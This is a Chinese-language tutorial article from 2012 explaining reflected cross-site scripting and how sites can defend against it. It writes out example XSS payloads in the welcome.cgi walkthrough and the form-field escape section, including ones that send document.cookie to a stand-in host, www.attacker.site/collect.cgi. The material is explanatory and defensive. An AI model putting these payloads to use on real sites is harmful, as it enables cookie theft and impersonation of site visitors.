Web 2.0應(yīng)用安全深入解析：企業(yè)級(jí)Web應(yīng)用安全解決方案

作者：佚名 2012-12-18 17:11:58

在跨站腳本攻擊中會(huì)發(fā)生什么

跨站腳本攻擊（cross-site scripting，簡(jiǎn)稱(chēng)XSS），是黑客用來(lái)潛入 Web 應(yīng)用程序的最普遍的應(yīng)用程序?qū)庸糁弧SS 是針對(duì)特殊 Web 站點(diǎn)的客戶(hù)隱私的攻擊，當(dāng)客戶(hù)詳細(xì)信息失竊或受控時(shí)可能引發(fā)徹底的安全威脅。大部分網(wǎng)站攻擊只涉及兩個(gè)群體：黑客和 Web 站點(diǎn)，或者黑客和客戶(hù)端受害者。與那些攻擊不同的是，XSS 攻擊同時(shí)涉及三個(gè)群體：黑客、客戶(hù)端和 Web 站點(diǎn)。

XSS 攻擊的目的是盜走客戶(hù)端 cookies，或者任何可以用于在 Web 站點(diǎn)確定客戶(hù)身份的其他敏感信息。手邊有了合法用戶(hù)的標(biāo)記，黑客可以繼續(xù)扮演用戶(hù)與站點(diǎn)交互，從而冒充用戶(hù)。舉例來(lái)說(shuō)，在對(duì)一個(gè)大型公司的調(diào)查中表明，利用 XSS 攻擊窺視用戶(hù)的信用卡號(hào)碼和私有信息是可能的。這是通過(guò)利用 Web 站點(diǎn)的訪問(wèn)特權(quán)，在受害者（客戶(hù)端）瀏覽器上運(yùn)行惡意的 JavaScript 代碼來(lái)實(shí)現(xiàn)的。這些是非常有限的 JavaScript 特權(quán)，除了與站點(diǎn)相關(guān)的信息，一般不允許腳本訪問(wèn)其他任何內(nèi)容。重點(diǎn)強(qiáng)調(diào)的是，雖然 Web 站點(diǎn)上存在安全漏洞，但是 Web 站點(diǎn)從未受到直接傷害。但是這已經(jīng)足夠讓腳本收集 cookies，并且將它們發(fā)送給黑客。因此，黑客獲得 cookies 并冒充受害者。

XSS 技術(shù)的深入解析

讓我們調(diào)用受攻擊的站點(diǎn)，傳統(tǒng)的 XSS 攻擊的核心處位于脆弱的站點(diǎn)中的脆弱的腳本。這些腳本讀取部分 HTTP 請(qǐng)求（通常是參數(shù)，但有時(shí)也有 HTTP 頭域或路徑），并且在首次不加密的情況下全部或部分地將其回送給響應(yīng)頁(yè)面（因而，不確保它不包含 JavaScript 代碼或 HTML 標(biāo)簽）。因此，假設(shè)該腳本名為 welcome.cgi，其參數(shù)為 name。可以通過(guò)以下方式進(jìn)行操作：

GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0

Host: www.vulnerable.site

響應(yīng)是：

<HTML>

<Title>Welcome!</Title>

Hi Joe Hacker <BR>

Welcome to our system

...

</HTML>

這是怎樣被盜用的呢？黑客設(shè)法引誘受害客戶(hù)點(diǎn)擊他們提供給用戶(hù)的鏈接。這是一個(gè)精心設(shè)計(jì)且蓄含惡意的鏈接，誘使受害者的 Web 瀏覽器訪問(wèn)站點(diǎn)（www.vulnerable.site），并調(diào)用入侵腳本。該腳本的數(shù)據(jù)里包含了用于非法訪問(wèn)客戶(hù)端瀏覽器為 www.vulnerable.site 站點(diǎn)所存儲(chǔ) cookies 的 JavaScript。這是允許的，因?yàn)榭蛻?hù)端瀏覽器“運(yùn)行過(guò)”來(lái)自 www.vulnerable.site 的 JavaScript，并且 JavaScript 安全模型允許來(lái)自特殊站點(diǎn)的腳本訪問(wèn)屬于該站點(diǎn)的 cookies。

這樣的鏈接如下：

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>

受害者點(diǎn)擊鏈接之后將生成對(duì) www.vulnerable.site 的請(qǐng)求，如下所示：

GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0

Host: www.vulnerable.site ...

脆弱的站點(diǎn)的響應(yīng)是：

<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>

<BR> Welcome to our system ...

</HTML>

受害者客戶(hù)端的瀏覽器將把該響應(yīng)解釋為包含一段 JavaScript 代碼的 HTML 頁(yè)面。當(dāng)執(zhí)行時(shí)，該代碼被允許訪問(wèn)所有屬于 www.vulnerable.site 的 cookies。因此，它將在客戶(hù)端瀏覽器中彈出一個(gè)窗口，顯示屬于 www.vulnerable.site 的所有客戶(hù)端 cookies。

當(dāng)然，真正的惡意攻擊包含了將這些 cookies 發(fā)送給黑客的操作。對(duì)此，黑客可能建立 Web 站點(diǎn)（www.attacker.site）并使用腳本來(lái)接收 cookies。替代彈出窗口，黑客會(huì)書(shū)寫(xiě)訪問(wèn) www.attacker.site 的 URL 的代碼，從而調(diào)用接收 cookie 的腳本，其參數(shù)設(shè)置為被竊取的 cookies。這樣，黑客可以從 www.attacker.site 服務(wù)器上獲得 cookies。

惡意的鏈接會(huì)是：

http://www.vulnerable.site/welcome.cgi?name=<script>window.open

("http://www.attacker.site/collect

.cgi?cookie="%2Bdocument.cookie)</script>

響應(yīng)頁(yè)面看起來(lái)像這樣：

<HTML> <Title>Welcome!</Title> Hi

<BR>

Welcome to our system ... </HTML>

加載該頁(yè)面的瀏覽器會(huì)立即執(zhí)行內(nèi)嵌的 JavaScript，并向 www.attacker.site 中的 collect.cgi 腳本發(fā)送請(qǐng)求，并附帶著瀏覽器已經(jīng)擁有的 www.vulnerable.site 的 cookies 的值。這樣就泄漏了客戶(hù)端所擁有的 www.vulnerable.site 的 cookies。這將允許黑客冒充受害者。客戶(hù)的隱私就完全被破壞了。

注意：

引發(fā) JavaScript 彈出窗口的出現(xiàn)通常足夠說(shuō)明該站點(diǎn)容易受到 XSS 攻擊。如果可以調(diào)用 JavaScript Alert 方法，那么通常沒(méi)理由 window.open 調(diào)用不成功。這就是為什么大部分 XSS 攻擊的實(shí)例使用 Alert 方法，因?yàn)檫@很容易檢測(cè)其成功。

范圍和可行性

攻擊只會(huì)在受害者用于訪問(wèn)站點(diǎn)（www.vulnerable.site）的同一個(gè)瀏覽器中發(fā)生。黑客需要強(qiáng)迫客戶(hù)端訪問(wèn)惡意鏈接。這會(huì)以以下這些方式進(jìn)行：

黑客發(fā)送包含強(qiáng)迫瀏覽器訪問(wèn)該鏈接的 HTML 頁(yè)面的電子郵件消息。這要求受害者使用 HTML 有效的電子郵件客戶(hù)端，并且客戶(hù)端的 HTML 閱讀器是用于訪問(wèn) www.vulnerable.site 的同一個(gè)瀏覽器。

客戶(hù)端訪問(wèn)可能受黑客運(yùn)作的站點(diǎn)，其中的圖片鏈接或其他激活的 HTML 強(qiáng)迫瀏覽器訪問(wèn)該鏈接。再次聲明，必須要求瀏覽器與訪問(wèn)該站點(diǎn)和 www.vulnerable.site 的是同一個(gè)瀏覽器。

惡意的 JavaScript 可以訪問(wèn)任何下列信息：

瀏覽器維護(hù)的（www.vulnerable.site 的）永久 cookies。

瀏覽器實(shí)例維護(hù)的（www.vulnerable.site 的）RAM cookies，但只有當(dāng)最近瀏覽 www.vulnerable.site 時(shí)發(fā)生。

為 www.vulnerable.site 打開(kāi)的其他窗口的名稱(chēng)。

可以通過(guò)當(dāng)前的 DOM 訪問(wèn)的任何信息（如值、HTML 代碼，等等）。

身份識(shí)別、驗(yàn)證和授權(quán)標(biāo)志通常以 cookies 形式維護(hù)。如果這些 cookies 是永久的，那么即使不在訪問(wèn) www.vulnerable.site 的時(shí)候使用瀏覽器，受害者也是易受攻擊的。然而，如果 cookies 是臨時(shí)的，例如 RAM cookies，那么客戶(hù)端必須處于訪問(wèn) www.vulnerable.site 的會(huì)話中。

身份識(shí)別標(biāo)志的另一種可能的實(shí)現(xiàn)是通過(guò) URL 參數(shù)。在這種情況下，可以用這種方式使用 JavaScript 訪問(wèn)其他窗口（假設(shè)帶有必要的 URL 參數(shù)的頁(yè)面的名稱(chēng)為 foobar）：

跨站點(diǎn)腳本攻擊的多種情形

除了 <SCRIPT>，使用其他 HTML 標(biāo)簽來(lái)運(yùn)行 JavaScript 也是可能的。事實(shí)上，同樣可能的是，惡意的 JavaScript 代碼存儲(chǔ)在另一個(gè)服務(wù)器上，并強(qiáng)迫客戶(hù)端下載該腳本并執(zhí)行它，如果要運(yùn)行許多代碼，或者代碼中包含特殊字符時(shí)，這是很有用。

關(guān)于這些可能性的一些情形：

除了 <script>...</script>，黑客可以使用 <img src="javascript:...">。這對(duì)于過(guò)濾 <script> HTML 標(biāo)簽的站點(diǎn)來(lái)說(shuō)很好用。

除了 <script>...</script>，還可以使用 <script src="http://...">。這對(duì)于 JavaScript 代碼過(guò)長(zhǎng)，或者其中包含了禁止字符時(shí)的情況是很好用的。

有時(shí)候，響應(yīng)頁(yè)面中內(nèi)嵌的數(shù)據(jù)處于非自由的 HTML 環(huán)境中。在這種情況下，首先必要的是“逃”到自由的環(huán)境中，然后附加 XSS 攻擊。舉例來(lái)說(shuō)，如果以 HTML 表單字段的默認(rèn)值注入數(shù)據(jù)：

那么在數(shù)據(jù)的開(kāi)頭必需包含 "> ，從而逃到自由的 HTML 環(huán)境中。數(shù)據(jù)可能是：

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=

"+document.cookie)</script>

結(jié)果得到的 HTML 是：

<input type=text name=user value=""><script>window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">

執(zhí)行傳統(tǒng)的 XSS 攻擊的其他方式

到此為止，我們已經(jīng)看到 XSS 攻擊可以出現(xiàn)在用腳本回送響應(yīng)的 GET 請(qǐng)求的參數(shù)中。但是也可以用 POST 請(qǐng)求實(shí)現(xiàn)攻擊，或者利用 HTTP 請(qǐng)求的路徑組件 —— 甚至使用一些 HTTP 頭（例如 Referer）。

特別是，當(dāng)錯(cuò)誤頁(yè)面返回錯(cuò)誤的路徑時(shí)，路徑組件就有用了。在這種情況下，包含在該路徑中的惡意腳本經(jīng)常都會(huì)執(zhí)行。已發(fā)現(xiàn)許多 Web 服務(wù)器都容易受到這種攻擊。

什么出了問(wèn)題？

很重要的是要知道，雖然 Web 站點(diǎn)不直接受到這種攻擊的影響（站點(diǎn)繼續(xù)正常工作，惡意代碼不在站點(diǎn)上執(zhí)行，不會(huì)出現(xiàn) DoS 情況，并且數(shù)據(jù)不直接受控，或從站點(diǎn)上讀取），但是它仍舊是站點(diǎn)向其訪問(wèn)者或客戶(hù)端提供的隱私保護(hù)機(jī)制中的缺陷。這就像站點(diǎn)使用薄弱的安全標(biāo)志（security token）部署應(yīng)用程序，借此，黑客可以猜出客戶(hù)的安全標(biāo)志并冒充客戶(hù)。

應(yīng)用程序中的脆弱點(diǎn)是不管參數(shù)值是什么都回送參數(shù)的腳本。好的腳本確保參數(shù)的格式是適當(dāng)?shù)模侠淼淖址鹊取Ｓ行У膮?shù)通常沒(méi)有合理的理由包含 HTML 標(biāo)簽或 JavaScript 代碼，可靠起見(jiàn)，應(yīng)該在這些內(nèi)容嵌入響應(yīng)之前，或者在應(yīng)用程序中處理這些內(nèi)容之前，將它們從參數(shù)中去掉。

如何保護(hù)站點(diǎn)不受 XSS 攻擊

用這三種方式可以保護(hù)站點(diǎn)不受 XSS 攻擊：

1. 執(zhí)行內(nèi)部的輸入過(guò)濾（有時(shí)候稱(chēng)為輸入清潔設(shè)備）。對(duì)于內(nèi)部書(shū)寫(xiě)的每個(gè)腳本中的每個(gè)用戶(hù)輸入 —— 參數(shù)或 HTTP 頭，都應(yīng)該應(yīng)用高級(jí)的 HTML 標(biāo)簽（包括 JavaScript 代碼）過(guò)濾。舉例來(lái)說(shuō)，來(lái)自之前的案例研究中的 welcome.cgi 腳本在解碼 name參數(shù)之后，應(yīng)該過(guò)濾 <script> 標(biāo)簽。該方法有一些嚴(yán)重的不利因素：

◆它要求應(yīng)用程序的編程人員非常精通安全。

◆它要求編程人員覆蓋所有可能的輸入來(lái)源（查詢(xún)參數(shù)、POST 請(qǐng)求的 body 參數(shù)、HTTP 頭）。

◆它不能抵御第三方腳本或服務(wù)器中的安全漏洞。舉例來(lái)說(shuō)，它不能防御 Web 服務(wù)器錯(cuò)誤頁(yè)面中的問(wèn)題（通常顯示了資源的路徑）。

2. 執(zhí)行“輸出過(guò)濾”，換句話說(shuō)，當(dāng)發(fā)回給瀏覽器時(shí)過(guò)濾用戶(hù)數(shù)據(jù)，而不是當(dāng)被腳本接收時(shí)。一個(gè)很好的示例是通過(guò)一個(gè)腳本將輸入數(shù)據(jù)插入到數(shù)據(jù)庫(kù)中，然后再?gòu)臄?shù)據(jù)庫(kù)呈現(xiàn)數(shù)據(jù)。在這種情況下，重要的是不向原始的輸入字符串應(yīng)用過(guò)濾，而只向輸出版本應(yīng)用過(guò)濾。這種方法的缺陷類(lèi)似于對(duì)輸入過(guò)濾的缺陷。

3. 通過(guò)安裝第三方應(yīng)用程序防火墻，防火墻在 XSS 攻擊到達(dá) Web 服務(wù)器和易受攻擊的腳本之前攔截它們，并阻塞它們。不論是來(lái)自?xún)?nèi)部應(yīng)用程序的腳本或路徑、第三方腳本，或根本不描述資源的腳本（舉例來(lái)說(shuō)，用來(lái)引起來(lái)自服務(wù)器的 404 頁(yè)面響應(yīng)的腳本），應(yīng)用程序防火墻都可以以一般的方式覆蓋所有輸入方法（包括路徑和 HTTP 頭）。對(duì)于每個(gè)輸入源，應(yīng)用程序防火墻根據(jù)各種 HTML 標(biāo)簽?zāi)Ｊ胶?JavaScript 模式檢查數(shù)據(jù)。如果匹配成功，就拒絕該請(qǐng)求，惡意的輸入不會(huì)到達(dá)服務(wù)器。

檢查您的站點(diǎn)是否處于 XSS 攻擊保護(hù)的方法

檢查站點(diǎn)免于遭受 XSS 攻擊是加強(qiáng)站點(diǎn)安全保護(hù)的必然結(jié)論。正如保護(hù)站點(diǎn)免于遭受 XSS 攻擊一樣，檢查站點(diǎn)的確安全也可以通過(guò)手工完成（硬方法），或利用自動(dòng)的 Web 應(yīng)用程序安全漏洞評(píng)估工具，它減輕了檢查的負(fù)擔(dān)。該工具爬遍站點(diǎn)，然后根據(jù)嘗試參數(shù)、頭，和路徑找到的所有腳本，運(yùn)行其知道的所有變化。在這兩種方法中，用盡可能多的方式檢查對(duì)應(yīng)用程序的每個(gè)輸入（所有腳本的參數(shù)、HTTP 頭、路徑）。如果響應(yīng)頁(yè)面包含瀏覽器可以執(zhí)行的 JavaScript 代碼，那么 XSS 安全漏洞就已顯露出來(lái)。舉例來(lái)說(shuō)，發(fā)送此文本：

對(duì)每個(gè)腳本的每個(gè)參數(shù)（通過(guò)允許 JavaScript 的瀏覽器暴露出最簡(jiǎn)單類(lèi)型的 XSS 安全漏洞），如果將文本解釋為 JavaScript 代碼，那么瀏覽器將彈出 JavaScript Alert 窗口。當(dāng)然，還有很多其他情形，因此，只測(cè)試這種情形是不夠的。如您已經(jīng)很了解的話，很可能將 JavaScript 注入請(qǐng)求的各種字段中：參數(shù)、HTTP 頭，和路徑。盡管，在一些情況下（特別是 HTTP Referer 頭），很難利用瀏覽器執(zhí)行攻擊。

總結(jié)

跨站腳本攻擊是黑客用來(lái)潛入 Web 應(yīng)用程序的最普遍的應(yīng)用程序?qū)庸糁唬⑶沂亲钗ｋU(xiǎn)的手段之一。它是針對(duì)特殊 Web 站點(diǎn)的客戶(hù)隱私的攻擊，當(dāng)客戶(hù)詳細(xì)信息失竊或受控時(shí)可能引發(fā)徹底的安全問(wèn)題。不幸的是，如本文所闡述的，這種攻擊經(jīng)常在無(wú)需了解客戶(hù)或被攻擊組織情況的前提下就可以實(shí)現(xiàn)。

要防止 Web 站點(diǎn)受到這些惡意行為的攻擊，至關(guān)重要的是，組織要實(shí)現(xiàn)在線和脫機(jī)的安全策略。這包括使用能夠自動(dòng)化測(cè)試出站點(diǎn)中所有普遍的 Web 安全漏洞，和具體應(yīng)用程序的安全漏洞（例如跨站腳本）的自動(dòng)化安全漏洞評(píng)估工具。對(duì)于全面的在線防衛(wèi)，同樣至關(guān)重要的是安裝可以檢測(cè)并抵御任何對(duì)保存在 Web 服務(wù)器上，或其背后的代碼和內(nèi)容實(shí)施控制的防火墻應(yīng)用程序。

責(zé)任編輯：藍(lán)雨淚來(lái)源：紅黑聯(lián)盟